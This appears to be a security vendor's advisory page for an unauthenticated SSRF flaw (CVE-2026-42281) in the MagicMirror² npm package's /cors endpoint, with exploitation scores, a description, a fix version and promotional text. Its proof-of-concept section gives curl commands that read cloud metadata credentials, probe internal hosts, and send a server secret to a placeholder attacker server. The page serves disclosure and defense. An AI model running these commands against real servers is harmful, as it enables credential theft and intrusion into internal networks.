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HIGH severity

GHSA-ph6f-2cvq-79hq

HIGH

GHSA-ph6f-2cvq-79hq is a high-severity (CVSS 8.6) Server-Side Request Forgery (SSRF) vulnerability in magicmirror. O3 Security confirms whether GHSA-ph6f-2cvq-79hq is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

MagicMirror vulnerable to unauthenticated SSRF via /cors endpoint

Also known asCVE-2026-42281
Published
May 5, 2026
Updated
Jun 8, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-ph6f-2cvq-79hq.

EPSS Exploitation Probability

via FIRST.org ↗
1.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs74th percentile — riskier than 74% of all scored CVEsHighest risk
1.12%2.00%2.88%3.76%3.3%1.6%1.6%1.6%Jun 26Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-ph6f-2cvq-79hq plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 356,530 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

0other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
magicmirrornpm
70downloads / week

Description

Summary

An unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the /cors endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (**VAR_NAME**), enabling exfiltration of server-side secrets.

Details

The /cors endpoint in js/server_functions.js (function cors(), lines 37-78) acts as an open HTTP proxy with no authentication and no URL validation. Any user-supplied URL is fetched server-side via fetch() and the full response is returned to the caller.

Additionally, the replaceSecretPlaceholder() function (lines 21-25) expands any **VARIABLE_NAME** pattern in the URL with the corresponding process.env value before the request is made, allowing an attacker to exfiltrate environment variables (e.g. API keys, tokens, database credentials).

Vulnerable code path:

GET /cors?url=<attacker-controlled-url>
  → replaceSecretPlaceholder(url)     // expands **ENV_VAR** → process.env.ENV_VAR
  → fetch(url)                        // no validation, no blocklist
  → response returned to attacker     // full body, status, headers

Key issues:

  • No authentication required
  • No URL validation or blocklist for private/reserved IP ranges
  • No restriction on URL scheme or destination
  • Environment variable expansion in URL before fetch

PoC

Prerequisites: a running MagicMirror² instance accessible on the network (default: http://<host>:8080).

1. Basic SSRF — access cloud metadata (AWS IMDSv1):

curl "http://<target>:8080/cors?url=http://169.254.169.254/latest/meta-data/"

If the server runs on AWS EC2 without IMDSv2 enforcement, this returns instance metadata including IAM role credentials.

2. Internal network scanning:

curl "http://<target>:8080/cors?url=http://192.168.1.1/"
curl "http://<target>:8080/cors?url=http://127.0.0.1:3000/"

The attacker can probe internal services by observing response status codes and timing.

3. Environment variable exfiltration:

curl "http://<target>:8080/cors?url=http://<attacker-server>/?leak=**SECRET_API_KEY**"

The server expands **SECRET_API_KEY** to the value of process.env.SECRET_API_KEY before making the request, sending the secret to the attacker-controlled server as a query parameter.

Impact

  • Cloud deployments (AWS/GCP/Azure): full compromise of cloud instance credentials via metadata service (169.254.169.254), potentially leading to lateral movement within the cloud account
  • Internal network access: the server becomes a proxy to scan and interact with services on internal networks that are not directly reachable by the attacker
  • Secret exfiltration: environment variables containing API keys, database credentials, or other sensitive configuration are directly readable
  • Affected users: anyone running MagicMirror² exposed to an untrusted network (including LAN). The /cors endpoint requires no authentication, so any host that can reach the MagicMirror HTTP port can exploit this vulnerability

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmmagicmirrorall versions2.36.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for magicmirror. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update magicmirror to 2.36.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-ph6f-2cvq-79hq is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-ph6f-2cvq-79hq is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-ph6f-2cvq-79hq. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary An unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the `/cors` endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (`**VAR_NAME**`), enabling exfiltration of server-side secrets. ### Details The `/cors` endpoint in `js/server_functions.js` (function `cors()`, lines 37-78) acts as an open HTTP proxy with no authentication and no URL validation. Any user-supplied URL is fetched ser
O3 Security · Impact-Aware SCA

Is GHSA-ph6f-2cvq-79hq in your dependencies?

O3 detects GHSA-ph6f-2cvq-79hq across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-ph6f-2cvq-79hq: magicmirror… | O3 Security